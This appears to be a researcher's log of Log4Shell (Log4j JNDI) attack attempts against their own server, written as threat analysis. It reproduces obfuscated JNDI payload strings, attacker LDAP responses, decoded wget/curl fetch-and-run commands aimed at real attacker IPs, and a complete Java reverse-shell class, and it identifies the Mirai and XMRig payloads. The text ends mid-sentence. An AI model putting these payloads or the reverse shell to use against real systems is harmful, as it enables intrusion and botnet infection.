binary.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

$ md5sum binary.bin 
720a3a92e72054dc8d58e229c22bb892  binary.bin

$ sha1sum binary.bin 
07a3fb97c339a186f79c33d4de32997b2ad735d4  binary.bin

$ sha256sum binary.bin 
e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82  binary.bin

$ curl -i http://103.104.73.155:8002/linux
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Fri, 17 Dec 2021 22:18:38 GMT
Content-Length: 19

404 page not found

$ curl -i http://103.104.73.155:8002/linuxfedora
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Fri, 17 Dec 2021 22:19:05 GMT
Content-Length: 19

404 page not found

$ du -s binary.bin
1756    binary.bin

$ sudo freshclam
ClamAV update process started at Fri Dec 17 16:31:47 2021
daily.cld database is up-to-date (version: 26390, sigs: 1951443, f-level: 90, builder: raynman)
main.cvd database is up-to-date (version: 62, sigs: 6647427, f-level: 90, builder: sigmgr)
bytecode.cvd database is up-to-date (version: 333, sigs: 92, f-level: 63, builder: awillia2)

$ clamscan binary.bin
binary.bin: OK

----------- SCAN SUMMARY -----------
Known viruses: 8583604
Engine version: 0.103.4
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 1.82 MB
Data read: 1.71 MB (ratio 1.06:1)
Time: 16.605 sec (0 m 16 s)
Start Date: 2021:12:17 16:42:33
End Date:   2021:12:17 16:42:49

Not sure what this is, I'll have to start reverse engineering it to see what it is.

Additional:

Attempting to use objdump and nasm was not very useful, and additional reverse engineering was very odd. It seemed like it was written in raw assembly, not even C/C++ with no other references, very optimized, and very slim. No assembly sections per se either, it was just raw instructions.

Looking up the hashes, I found that this is a CryptoMiner associated with the following links. Apparently I need proprietary signatures for the more modern signatures to detect this (this is just a raw open source install of ClamAV).

https://www.joesandbox.com/analysis/539256/0/html

The analysis here is notably good on the topic as well:

https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

Pretty sure it's PUA.Unix.Coinminer.XMRig-6683890-0

More information below on this.

179.43.175.101

107.189.29.181 - - [19/Dec/2021:14:10:44 +0000] "GET / HTTP/1.1" 302 203 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}"

$ ldapsearch -x -H ldap://179.43.175.101:1389 -b jedmdg
# extended LDIF
#
# LDAPv3
# base <jedmdg> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: jedmdg
javaClassName: foo
javaCodeBase: http://179.43.175.101:8180/
objectClass: javaNamingReference
javaFactory: ExecTemplateJDK8

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://179.43.175.101:8180/
HTTP/1.1 200 OK
Content-Length: 0
Server: Jetty(8.y.z-SNAPSHOT)

I'm getting bored of dead ends.

45.146.164.160

45.146.164.160 - - [13/Dec/2021:20:11:53 +0000] "GET / HTTP/1.1" 200 96 "-" "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}${upper:p}://45.146.164.160:1389/t}"

$ ldapsearch -x -H ldap://45.146.164.160:1389 -b t
# extended LDIF
#
# LDAPv3
# base <t> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
javaClassName: Main
objectClass: javaNamingReference
javaCodeBase: http://45.146.164.160:8085/
javaFactory: Main

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://45.146.164.160:8085/
HTTP/1.1 404 Not Found
Server: Caddy
Date: Sun, 19 Dec 2021 20:15:14 GMT
Content-Length: 0

Caddy?

185.246.87.50

47.241.208.155 - - [20/Dec/2021:10:02:42 +0000] "GET /${jndi:ldap://185.246.87.50:1389/Exploit} HTTP/1.1" 302 249 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"

$ ldapsearch -x -H ldap://185.246.87.50:1389 -b Exploit
# extended LDIF
#
# LDAPv3
# base <Exploit> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Exploit
javaClassName: foo
javaCodeBase: http://165.22.2.186:80/wp-content/themes/twentyseventeen/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i "http://165.22.2.186:80/wp-content/themes/twentyseventeen/"
HTTP/1.0 500 Internal Server Error
Date: Mon, 20 Dec 2021 17:15:39 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Weird… attempt, but failed WordPress exploit?

Additional: If you visit the page on just the root directory port 80 (which there are numerous IP addresses reported here, not just the same one), this is the same WordPress exploit as above. I likely need to actually have WordPress installed or something to get it to work with this URL.

EDIT: Later, server moved to these with same results, with different IPs for exploit servers.

5.157.38.50 - - [22/Dec/2021:11:31:21 +0000] "GET /${jndi:ldap://142.93.172.227:1389/Exploit} HTTP/1.1" 404 239 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"

$ ldapsearch -x -H ldap://142.93.172.227:1389 -b Exploit

$ ldapsearch -x -H ldap://142.93.172.227:1389 -b Exploit
# extended LDIF
#
# LDAPv3
# base <Exploit> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Exploit
javaClassName: foo
javaCodeBase: http://40.76.9.118:80/wp-content/themes/twentysixteen/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

163.172.54.124 - - [25/Dec/2021:03:18:07 +0000] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 302 250 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"

$ ldapsearch -x -H ldap://142.93.172.227:1389 -b Exploit
# extended LDIF
#
# LDAPv3
# base <Exploit> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Exploit
javaClassName: foo
javaCodeBase: http://40.76.9.118:80/wp-content/themes/twentysixteen/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ ldapsearch -x -H ldap://121.140.99.236:1389 -b Exploit
# extended LDIF
#
# LDAPv3
# base  with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Exploit
javaClassName: foo
javaCodeBase: http://40.76.9.118:80/wp-content/themes/twentysixteen/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://40.76.9.118:80/wp-content/themes/twentysixteen/
HTTP/1.0 500 Internal Server Error
Date: Sat, 25 Dec 2021 05:20:12 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

135.148.132.224

143.244.156.104 - - [20/Dec/2021:16:45:31 +0000] "GET / HTTP/1.1" 302 203 "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://135.148.132.224:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2}" "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://135.148.132.224:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2}"

$ ldapsearch -x -H ldap://135.148.132.224:1389 -b TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2
# extended LDIF
#
# LDAPv3
# base <TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cm
 wgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg
 2
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
 AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
 gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
 MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
 bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
 BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
 xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
 AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
 fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
 AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
 t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0Alx7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
 lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
 aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgidmFyIHN0cnM9bmV3IEFycmF5KDMpOwogICAgI
 CAgIGlmKGphdmEuaW8uRmlsZS5zZXBhcmF0b3IuZXF1YWxzKCcvJykpewogICAgICAgICAgICBzdH
 JzWzBdPScvYmluL2Jhc2gnOwogICAgICAgICAgICBzdHJzWzFdPSctYyc7CiAgICAgICAgICAgIHN
 0cnNbMl09J3dnZXQgaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjdXJsIC1PIGh0dHA6Ly8xNTIu
 NjcuNjMuMTUwL3J1bjsgY2htb2QgNzc3IHJ1bjsgLi9ydW4gcmNlLng4Nic7CiAgICAgICAgfWVsc
 2V7CiAgICAgICAgICAgIHN0cnNbMF09J2NtZCc7CiAgICAgICAgICAgIHN0cnNbMV09Jy9DJzsKIC
 AgICAgICAgICAgc3Ryc1syXT0nd2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8
 gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2JzsK
 ICAgICAgICB9CiAgICAgICAgamF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoc3Ryc
 yk7Iil9cHBwcHB4dAAlb3JnLmFwYWNoZS5uYW1pbmcuZmFjdG9yeS5CZWFuRmFjdG9yeXB0ABRqYX
 ZheC5lbC5FTFByb2Nlc3Nvcg==

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Buried in there:

strs[2]=\'wget http://152.67.63.150/run; curl -O http://152.67.63.150/run; chmod 777 run; ./run rce.x86\';

$ curl http://152.67.63.150/run --output binary.bin
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16620  100 16620    0     0  34679      0 --:--:-- --:--:-- --:--:-- 34625

$ file binary.bin
binary.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header

$ md5sum binary.bin
abfffbc733c72fb32b07b9cc227069c1  binary.bin

$ sha1sum binary.bin
d952fd5cb44f2ae0063b378745623290d1537245  binary.bin

$ sha256sum binary.bin
9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2  binary.bin

$ freshclam
ClamAV update process started at Mon Dec 20 11:21:54 2021
daily.cld database is up-to-date (version: 26393, sigs: 1952289, f-level: 90, builder: raynman)
main.cvd database is up-to-date (version: 62, sigs: 6647427, f-level: 90, builder: sigmgr)
bytecode.cvd database is up-to-date (version: 333, sigs: 92, f-level: 63, builder: awillia2)

$ clamscan binary.bin
binary.bin: Unix.Trojan.Mirai-9916332-0 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 8584449
Engine version: 0.103.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.02 MB (ratio 1.00:1)
Time: 15.897 sec (0 m 15 s)
Start Date: 2021:12:20 11:24:13
End Date:   2021:12:20 11:24:29

Caught a Unix.Trojan.Mirai-9916332-0 in the wild.

135.148.130.60

From log:

18.221.182.245 - - [24/Dec/2021:14:46:27 +0000] "GET / HTTP/1.1" 302 203 "${jnd${123%25ff:-${123%25ff:-i:}}ldap://135.148.130.60:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8xOC4yMjIuMTIyLjIyMS9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}" "${jnd${123%25ff:-${123%25ff:-i:}}ldap://135.148.130.60:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8xOC4yMjIuMTIyLjIyMS9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}"

$ ldapsearch -x -H ldap://135.148.130.60:1389 -b TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8xOC4yMjIuMTIyLjIyMS9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==
# extended LDIF
#
# LDAPv3
# base <TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8xOC4yMjIuMTIyLjIyMS9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOy
 BjdXJsIC1PIGh0dHA6Ly8xOC4yMjIuMTIyLjIyMS9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4
 vcmVhZGVyIHJ1bm5lcg==
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
 AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
 gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
 MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
 bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
 BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
 xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
 AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
 fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
 AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
 t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0AnZ7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
 lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
 aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgidmFyIHN0cnM9bmV3IEFycmF5KDMpOwogICAgI
 CAgIGlmKGphdmEuaW8uRmlsZS5zZXBhcmF0b3IuZXF1YWxzKCcvJykpewogICAgICAgICAgICBzdH
 JzWzBdPScvYmluL2Jhc2gnOwogICAgICAgICAgICBzdHJzWzFdPSctYyc7CiAgICAgICAgICAgIHN
 0cnNbMl09J3dnZXQgaHR0cDovLzE4LjIyMi4xMjIuMjIxL3JlYWRlcjsgY3VybCAtTyBodHRwOi8v
 MTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjaG1vZCA3NzcgcmVhZGVyOyAuL3JlYWRlciBydW5uZXInO
 wogICAgICAgIH1lbHNlewogICAgICAgICAgICBzdHJzWzBdPSdjbWQnOwogICAgICAgICAgICBzdH
 JzWzFdPScvQyc7CiAgICAgICAgICAgIHN0cnNbMl09J3dnZXQgaHR0cDovLzE4LjIyMi4xMjIuMjI
 xL3JlYWRlcjsgY3VybCAtTyBodHRwOi8vMTguMjIyLjEyMi4yMjEvcmVhZGVyOyBjaG1vZCA3Nzcg
 cmVhZGVyOyAuL3JlYWRlciBydW5uZXInOwogICAgICAgIH0KICAgICAgICBqYXZhLmxhbmcuUnVud
 GltZS5nZXRSdW50aW1lKCkuZXhlYyhzdHJzKTsiKX1wcHBwcHh0ACVvcmcuYXBhY2hlLm5hbWluZy
 5mYWN0b3J5LkJlYW5GYWN0b3J5cHQAFGphdmF4LmVsLkVMUHJvY2Vzc29y

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Inside has:

strs[2]=\'wget http://18.222.122.221/reader; curl -O http://18.222.122.221/reader; chmod 777 reader; ./reader runner\';

$ curl -i http://18.222.122.221/reader
HTTP/1.1 200 OK
Date: Fri, 24 Dec 2021 18:28:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 24 Dec 2021 13:04:01 GMT
ETag: "40ec-5d3e3fd1b1240"
Accept-Ranges: bytes
Content-Length: 16620

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

$ curl http://18.222.122.221/reader --output binary.bin
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16620  100 16620    0     0   133k      0 --:--:-- --:--:-- --:--:--  133k

$ file binary.bin
binary.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header

$ md5sum binary.bin
abfffbc733c72fb32b07b9cc227069c1  binary.bin

$ sha1sum binary.bin
d952fd5cb44f2ae0063b378745623290d1537245  binary.bin

$ sha256sum binary.bin
9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2  binary.bin

$ freshclam
ClamAV update process started at Fri Dec 24 12:34:46 2021
daily.cld database is up-to-date (version: 26401, sigs: 1953304, f-level: 90, builder: raynman)
main.cvd database is up-to-date (version: 62, sigs: 6647427, f-level: 90, builder: sigmgr)
bytecode.cvd database is up-to-date (version: 333, sigs: 92, f-level: 63, builder: awillia2)

$ clamscan binary.bin
binary.bin: Unix.Trojan.Mirai-9916332-0 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 8585462
Engine version: 0.103.4
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.02 MB (ratio 1.00:1)
Time: 16.232 sec (0 m 16 s)
Start Date: 2021:12:24 12:39:25
End Date:   2021:12:24 12:39:42

Caught the same type of Unix.Trojan.Mirai-9916332-0 from a different host, with some slight renaming to adjust their attack profile (“run” -> “reader”).

Third Mirai caught from IP 2.58.149.206:

207.244.248.240 - - [29/Dec/2021:22:56:12 +0000] "GET / HTTP/1.1" 200 5382 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//2.58.149.206:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3JlYWRlcjsgY3VybCAtTyBodHRwOi8vMi41OC4xNDkuMjA2L3JlYWRlcjsgY2htb2QgNzc3IHJlYWRlcjsgLi9yZWFkZXIgcnVubmVy}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//2.58.149.206:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3JlYWRlcjsgY3VybCAtTyBodHRwOi8vMi41OC4xNDkuMjA2L3JlYWRlcjsgY2htb2QgNzc3IHJlYWRlcjsgLi9yZWFkZXIgcnVubmVy}')"

167.71.13.196

167.71.13.196 - - [30/Dec/2021:08:28:27 +0000] "GET /$%7Bjndi:ldap://167.71.13.196:443/lx-ffff32742930bb01006a6dcd6100000000060d1c%7D?${jndi:ldap://167.71.13.196:443/lx-ffff32742930bb01016a6dcd6100000000342e6e}=${jndi:ldap://167.71.13.196:443/lx-ffff32742930bb01026a6dcd61000000004b1272} HTTP/1.1" 400 347 "-" "${jndi:ldap://167.71.13.196:443/lx-ffff32742930bb01086a6dcd6100000000da51b8}"

$ ldapsearch -x -H ldap://167.71.13.196:443 -b lx-ffff32742930bb01006a6dcd6100000000060d1c
# extended LDIF
#
# LDAPv3
# base <lx-ffff32742930bb01006a6dcd6100000000060d1c> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
vendorName: LeakIX
vendorVersion: 0.0.1

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Boooring…

4sclil.dnslog.cn

15.236.146.246 - - [02/Jan/2022:18:51:06 +0000] "GET / HTTP/1.1" 200 96 "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://4sclil.dnslog.cn:1389/8zl73o}" "python-requests/2.26.0"

Interesting new obfuscation, but still relatively the same as the existing ones.

$ dig 4sclil.dnslog.cn

; <<>> DiG 9.17.19-3-Debian <<>> 4sclil.dnslog.cn
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7356
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;4sclil.dnslog.cn.      IN  A

;; ANSWER SECTION:
4sclil.dnslog.cn.   190 IN  A   127.0.0.1

;; Query time: 372 msec
;; SERVER: 192.168.27.254#53(192.168.27.254) (UDP)
;; WHEN: Mon Jan 03 20:27:17 UTC 2022
;; MSG SIZE  rcvd: 61

I take it this one was particularly bad as it has been blackholed. I checked it out on multiple DNS providers.

162.241.127.99

69.49.235.93 - - [05/Jan/2022:00:48:03 +0000] "HEAD /?x=${jndi:ldap://162.241.127.99:1389/Basic/Command/Base64/KGN1cmwgLXMgMTYyLjI0MS4xMjcuOTk6MTM4OS9iY2FibGUubmV0fHx3Z2V0IC1xIC1PLSAxNjIuMjQxLjEyNy45OToxMzg5L2JjYWJsZS5uZXQpfGJhc2g=} HTTP/1.1" 400 - "-" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://162.241.127.99:1389/Basic/Command/Base64/KGN1cmwgLXMgMTYyLjI0MS4xMjcuOTk6MTM4OS9iY2FibGUubmV0fHx3Z2V0IC1xIC1PLSAxNjIuMjQxLjEyNy45OToxMzg5L2JjYWJsZS5uZXQpfGJhc2g=}"

$ ldapsearch -x -H ldap://162.241.127.99:1389 -b Basic/Command/Base64/KGN1cmwgLXMgMTYyLjI0MS4xMjcuOTk6MTM4OS9iY2FibGUubmV0fHx3Z2V0IC1xIC1PLSAxNjIuMjQxLjEyNy45OToxMzg5L2JjYWJsZS5uZXQpfGJhc2g=
# extended LDIF
#
# LDAPv3
# base <Basic/Command/Base64/KGN1cmwgLXMgMTYyLjI0MS4xMjcuOTk6MTM4OS9iY2FibGUubmV0fHx3Z2V0IC1xIC1PLSAxNjIuMjQxLjEyNy45OToxMzg5L2JjYWJsZS5uZXQpfGJhc2g=> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Basic/Command/Base64/KGN1cmwgLXMgMTYyLjI0MS4xMjcuOTk6MTM4OS9iY2FibGUubmV0f
 Hx3Z2V0IC1xIC1PLSAxNjIuMjQxLjEyNy45OToxMzg5L2JjYWJsZS5uZXQpfGJhc2g=
javaClassName: foo
javaCodeBase: http://162.241.127.99:8000/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Base64 decodes to:

(curl -s 162.241.127.99:1389/bcable.net||wget -q -O- 162.241.127.99:1389/bcable.net)|bash

Which is just silliness. It's trying to download a payload from the same port that the LDAP server is running on… and I can confirm that yes, it's just spitting out LDAP stuff with a curl command…

Some screenshots from this host's port 8000:

Exploit.java on the remote server:

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="162.241.127.99";
        int port=9001;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}

The GIT repositories linked to and referenced:

https://github.com/kozmer/log4j-shell-poc

https://github.com/mbechler/marshalsec

https://github.com/RandomRobbieBF/marshalsec-jar

I feel like I just went backwards from the server/defense side and landed on the POCs and compilations that the attackers/“researchers” have been starting at. It's also weird to have found pre-compiled and post-compiled versions of the 'Exploit.java'/'Exploit.class' files on someone's server that they are running with their IPs already edited in.

Unfortunately port 9001 doesn't appear to be an exploit port that is running this code. The whole server is running more of a stub/honeypot based “all ports open” configuration that just disconnects on that port, so this code isn't running on that port, at least not yet. Whomever is doing this could be still in development of whatever it is they are trying to accomplish, especially given so many exploits are in half completion, loop back on themselves, and there are so many breadcrumbs left over.

Testing RMI lookups

Working on testing the ${jndi:rmi://ip.add.re.ss:port/object} formatting by creating a couple of scripts to query the RMI servers. Work on that can be found here:

https://bcable.net/x/rmilookup

Mostly not necessary as the pivot to RMI has not happened as predicted by some tech media outlets. It's kind of an insecure server for an attacker to run.

Testing Open Port Duration

Wrote a script to monitor the duration of how long this IP/Port would stay online.

This proved to be mostly useless, but it made sense in the moment for some reason.

#!/bin/bash

while [[ 1 ]]; do
    echo "====================================================================="
    echo "====================================================================="
    echo "====================================================================="
    for fields in $@; do
        ipaddr="$(echo "$fields" | cut -d ':' -f1)"
        ports="$(echo "$fields" | cut -d ':' -f2)"
        outfile="$(echo "$fields" | cut -d ':' -f3)"

        date | tee -a "$outfile"
        nmap -Pn -p "$ports" "$ipaddr" 2>&1 | tee -a "$outfile"
    done
    sleep 5
done

Running as the following to monitor the IPs and ports:

bash nmap_scanloop.sh 193.3.19.159:53,80,22:nmap_193.3.19.159.txt 162.55.90.26:80,389,22:nmap_162.55.90.26.txt 195.54.160.149:12344,5874,80,22:nmap_195.54.160.149.txt 159.223.5.30:80,1389,443:nmap_159.223.5.30.txt

PUA.Unix.Coinminer.XMRig-6683890-0

Finally got around to looking a bit at the Monero miner a bit. Realized it was “compressed” with UPX:

https://github.com/upx/upx

After “decompressing” it was much easier to disassemble through traditional objdump/plasma/xxd/etc, though still pretty obfuscated as it had been passed through that compression/obfuscation algorithm.

I found some mildly interesting things.

For one, it kept trying to call back to a Google Site:

https://sites.google.com/view/maintest01io

User specific, I haven't been able to find the user credentials yet but I bet they've already been revoked so not really interested.

It's also hashing through monerohash.com, which looks like a mining pool and I bet their credentials are already revoked on that as well. I'm guessing it is reporting back host and/or mining info back to the Google Site.

But what I really found interesting and probably most impactful/useful/interesting was this:

